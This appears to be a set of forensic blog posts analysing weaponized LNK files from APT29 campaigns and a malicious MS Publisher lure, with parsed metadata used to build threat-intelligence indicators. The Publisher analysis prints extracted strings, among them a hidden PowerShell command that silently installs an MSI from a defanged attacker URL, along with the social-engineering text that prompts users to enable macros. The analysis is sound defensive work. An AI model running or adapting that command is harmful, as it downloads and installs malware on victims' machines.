There was a recent blog post and Twitter thread regarding the parsing and use of weaponized LNK file metadata. Based on some of what was shared during the exchange, I got to thinking about toolmarks again, and how such files might be created.  My thinking was that perhaps some insight could be gained from the format and structure of the file itself.  For example, the weaponized LNK files from the two campaigns appear to have valid structures, and there appear to have been no modifications to the LNK file structure itself.  Also, the files contained specific structures, including a PropertyStoreDataBlock and a TrackerDataBlock.  While this may not seem particular unusual, I have seen some LNK files that do not contain these structures.  I parsed an LNK file not long ago that did not contain a TrackerDataBlock.  As such, I thought I'd look at some ways, or at least one way, to create LNK files and see what the resulting files would "look like".

Several years ago, Adam had an excellent blog post regarding LNK hotkeys; I borrowed the VBS code (other examples and code snippets can be found here and here), and made some minor tweaks.  For example, I pointed the target path to calc.exe, ran the code, and then moved the file from the Desktop to a testing folder, changing the file extension in the process.  Running my own parser against the resulting LNK file, I found that it had a valid PropertyStoreDataBlock (containing the user SID), as well as a properly structured TrackerDataBlock.

These findings coincide with what I saw when running the parser against LNK files from both the 2016 and 2018 APT29/Cozy Bear campaigns.

You can also use PowerShell to create shortcuts, using the same API as the VBScript:
- Create shortcuts in PowerShell
- PowerShell script to modify an LNK file (target path)
- Editing shortcuts in PowerShell

We also know that the LNK files used in those campaigns were relatively large, much larger than a 'normal' LNK file, because the logical file was extended beyond the LNK file structure to include additional payloads.  These payloads were extracted by the PowerShell commands embedded with in the LNK file itself.

Felix Weyne published a blog post that discussed how to create a booby-trapped LNK file (much like those from the APT29 campaigns) via PowerShell.

So, we have a start in understanding how the LNK files may have been created.  Let's go back and take another look at the LNK files themselves.

The FireEye blog post regarding the recent phishing campaign included an operational timeline in table 1.  From that table, the "LNK weaponized" time stamp was developed (at least in part) from the last modification DOSDate time stamp for the 'system32' folder shell item within the LNK file.  What this means is that the FireEye team stripped out and used as much of the LNK file metadata as they had available.  From my perspective, this is unusual because most write-ups I've seen regarding the use of weaponized LNK files (or really, any weaponized files) tend to give only a cursory overview of or reference to the file before moving on to the payloads. Even write-ups involving weaponized Word documents make mention of the file extension, maybe give a graphic illustrating the content, and then move on.

As described by the folks at JPCERT/CC, parsing of weaponized LNK files can give us a view into the attacker's development environment.  The FireEye team illustrated some of that by digging into the individual shell items and incorporating the embedded DOSDate time stamps in their analysis, and subsequently the operational timeline they shared in their post.

There's a little bit (quite literally, no pun intended...) more that we can tease out of the LNK file.  The VBScript that I ran to create an LNK file on my Windows 10 test system.  Figure 1 shows the "version" field (in the green box) for one of the shell items in the itemIDList from the LNK file.

Fig. 1: Excerpt from "foo" LNK file




In figure 1, the version is "0x09", which corresponds to a Windows 10 system (see section 6.5 of Joachim Metz's Windows Shell Item format specification).

Figure 2 illustrates the shell item version value (in the red box) from the approximate corresponding location in the APT29 LNK file from the 2018 campaign.

Fig. 2: Excerpt from APT29 LNK file




In figure 2, the version field is "0x08", which corresponds to Windows 7 (as well as Windows 8.0, and Windows 2008).  It may not be a lot, but as the versions of Windows continue to progress, this will have more meaning.

Finally, some things to consider about the weaponized LNK files...

All of the shell items in both LNK files have consistent extension blocks, which may indicate that they were created through some automated means, such as via an API, and not modified (by hand or by script) as a means of defense evasion.

So, what about that?  What is the effect of individual shell items, and to the entire LNK file, if modifications are made?  From figure 1, I modified the version value to read 0x07 instead of 0x09, and the shortcut performed as expected.  Modifications to weaponized LNK files such as these will very likely affect parsers, but for those within the community who wrote the parsers and understand the LNK file structure (along with associated shell item structures), such things are relatively straightforward to overcome (see my previous "toolmarks" blog post).

Final Words
Using "all the parts of the buffalo", and fully exploiting the data that you have available, is the only way that you're going to develop a full intelligence picture. Some of what was discussed in this post may not be immediately useful for, say, threat hunting within an infrastructure, but it can be used to develop a better understanding of the progression of techniques employed by actors, and provide a better understanding of what to hunt for.

Additional Reference Material
Joachim Metz's Windows Shell Item format specification
Link to reported bash and C versions of a tool to create LNK files on Linux

November 2018 saw a Cozy Bear/APT29 campaign, discussed in FireEye's blog post regarding APT29 activity (from 19 Nov 2018), as well as in this Yoroi blog regarding the Cozy Bear campaign (from 21 Nov 2018).  I found this particular campaign a bit fascinating, as it is another example of actors sending LNK files to their target victims, LNK files that had been created on a system other than the victim's.

However, one of the better (perhaps even the best) write-up regarding the LNK file deployed in this campaign is Oleg's description of his process for parsing that file.  His write-up is very comprehensive, so I won't steal any of his thunder by repeating it here.  Instead, I wanted to dig just a bit deeper into the LNK file structure itself.

Using my own parser, I extracted metadata from the LNK file structure for the "ds7002.lnk" file. The TrackerDataBlock includes much of the same information that Oleg uncovered, including the "machine ID", which is a 16-byte field containing the NetBIOS name of the system on which the LNK file was created:

***TrackerDataBlock***
Machine ID            : user-pc
New Droid ID Time     : Thu Oct  6 17:03:04 2016 UTC
New Droid ID Seq Num  : 13273
New Droid    Node ID  : 08:00:27:92:24:e5
Birth Droid ID Time   : Thu Oct  6 17:03:04 2016 UTC
Birth Droid ID Seq Num: 13273
Birth Droid Node ID   : 08:00:27:92:24:e5

From the TrackerDataBlock, we can also see one of the MAC addresses recognized by the system.  Using the OUI lookup tool from Wireshark, we see that the OUI for the displayed MAC address points to "PcsCompu PCS Computer Systems GmbH".  From WhatsMyIP, we get "Pcs Systemtechnik Gmbh".

Further, there's a SID located in the PropertyStoreDataBlock:

***PropertyStoreDataBlock***
SID: S-1-5-21-1764276529-1526541935-4264456457-1000

Finally, there's the volume serial number embedded within the LNK file:

vol_sn             C4B2-BD1C

A combination of the volume serial number, maching ID, and the SID from the PropertyStoreDataBlock can be used to create a Yara rule, which can then be submitted as a retro-hunt on VirusTotal, in order to locate other examples of LNK files created on this system.

Note that the FireEye write-up mentions a previous campaign (described by Volexity) in which a similar LNK file was used.  In that case, MAC address, SID, and volume serial number were identical to the ones seen in the LNK file in the Nov 2018 campaign.  The file size was different, and the embedded PowerShell command was different, but the rest of the identifying metadata remained the same two years later.

Another aspect of the LNK file from the Nov 2018 campaign is the embedded PowerShell command.  As Oleg pointed out, the PowerShell command itself is encoded, as a base64 string.  Or perhaps more accurately, a "base" + 0x40 encoded string.  The manner by which commands are obfuscated can be very telling, and perhaps even used as a means for tracking the evolution of the use of the technique.

This leads to another interesting aspect of this file; rather than using an encoded PowerShell command to download the follow-on payload(s), those payloads are included encoded within the logical structure of the file itself.  The delivered LNK file is over 400K in size (the LNK file from 2016 was over 660K), which is quite unusual for such a file, particularly given that the LNK file structure itself ends at offset 0x0d94, making the LNK file 3476 bytes in size.

Oleg did a great job of walking through the collection, parsing and decoding/decryption of the embedded PDF and DLL files, as well as of writing up and sharing his process.  From a threat intel perspective, identifying information extracted from file metadata can be used to further the investigation and help build a clearer intel picture.

Addendum, 31 Dec: Here's a fascinating tweet thread regarding using DOSDate time stamps embedded in shellitems to identify "weaponization time" of the LNK file, and here's more of that conversation.

Earlier this month, I saw a tweet that led me to this Trend Micro write-up regarding a spam campaign where the bad guys sent malicious MS Publisher .pub file attachments that downloaded an MSI file (using .pub files as lures has been seen before).  The write-up included a hash for the .pub file, which I was able to use to locate a copy of the file, so I could take a look at it myself.  MS Publisher files follow the OLE file format, so I wanted to take a shot at "peeling the onion" on this file, as it were.

Why would I bother doing this?  For one, I believe that there is a good bit of value that does unrealized when we don't look at artifacts like this, value that may not be immediately realized by a #DFIR analyst, but may be much more useful to an intel analyst.

I should note that the .pub file is detected by Windows Defender as Trojan:O97M/Bynoco.PA.

The first thing I did was run 'strings' against the file.  Below are some of the more interesting strings I was able to find in the file:

E:\tmp\wix_tmp\officehomems.com_sched\1en.pub
proverka@example.com
BaseClass=crysler
comodostar 
alabama

Document created using the application not related to Microsoft Office

For viewing/editing, perform the following steps:
Click Enable editing button from the yellow bar above.
Once you have enabled editing, please click Enable Content button from the yellow bar above.

"-executionpolicy bypass -noprofile -w hidden  -c & ""msiexec"" url1=gmail url2=com  /q /i http://homeofficepage[.]com/TabSvc"

Shceduled update task

One aspect of string searches in OLE format files that analysts need to keep in mind is that the file structure truly is one of a "file system within a file", as the structure includes sector tables that identify the sectors that comprise the various streams within the file.  What this means is that the streams themselves are not contiguous, and that strings contained in the file may possibly be separated across the sectors.  For example, it is possible that for the string "alabama" listed above, part of the string (i.e., "ala") may exist in one sector, and the remaining portion of the string may exist in another sector, so that searching for the full string may not find all instances of it.  Further, with the use of macros, the macros themselves are compressed, throwing another monkey wrench into string searches.
Back to the strings themselves; I'm sure that you can see why I saw these as interesting strings.  For example, note the misspelling of "Shceduled".  This may be something on which we can pivot in our analysis, locating instances of a scheduled task with that same misspelling within our infrastructure.  Interestingly enough, when I ran a Google search for "shceduled task", most of the responses I got were legitimate posts where the author had misspelled the word.  ;-)

The message to the user seen in the strings above looks similar to figure 2 found in this write-up regarding Sofacy, but searching a bit further, we find the exact message string being used in lures that end up deploying ransomware.

Next, I ran 'oledmp.pl' against the file; below is the output, trimmed for readability:

Root Entry  Date: 20.11.2018, 14:40:11  CLSID: 00021201-0000-0000-00C0-000000000046
    1 D..       0 20.11.2018, 14:40:11 \Objects
    2 D..       0 20.11.2018, 14:40:11 \Quill
    3 D..       0 20.11.2018, 14:40:11 \Escher
    4 D..       0 20.11.2018, 14:40:11 \VBA
    7 F..   10602                                \Contents
    8 F.T      94                                  \CompObj
    9 F.T   16384                                \SummaryInformation
   10 F.T     152                                \DocumentSummaryInformation
   11 D..       0 20.11.2018, 14:40:11 \VBA\VBA
   12 D..       0 20.11.2018, 14:40:11 \VBA\crysler
   18 F..     387                                 \VBA\crysler\f
   19 F..     340                                 \VBA\crysler\o
   20 F.T      97                                 \VBA\crysler\CompObj
   21 F..     439                                 \VBA\crysler\ VBFrame
   22 F..     777                                 \VBA\VBA\dir
   23 FM.    1431                              \VBA\VBA\crysler
   30 FM.    8799                              \VBA\VBA\ThisDocument
   
As you can see, there are a number of streams that include macros.  Also, from the output listed above, we can see that the file was likely created on 20 Nov 2018, which is something that can likely be used by intel analysts.

Using oledump.py to extract the macros, we can see that they aren't obfuscated in any way.  In fact, the two visible macros are well-structured, and don't appear do much at all; the malicious functionality appears to embedded someplace else within the file itself.

Windows Artifacts and Threat Intel
I ran across a pretty fascinating tweet thread from Steve the other day.  In this thread, Steve talked about how he's used PDB paths to not just get some interesting information from malware, but to build out a profile of the malware author over a decade, and how he was able to pivot off of that information.  In the tweet thread, Steve provides some very interesting foundational information, as well as an example of how this information has been useful.  Unfortunately, it's in a tweet thread and not some more permanent format.

I still believe that something very similar can be done with LNK files sent by an adversary, as well as other "weaponized" documents.  This includes OLE-format Word and Publisher documents, as well.  Using similar techniques to what Steve employed, including Yara rules to conduct a VT retro-hunt, information can be built out using not just information collected from the individual files themselves, but information provided by VT, such as submission date, etc.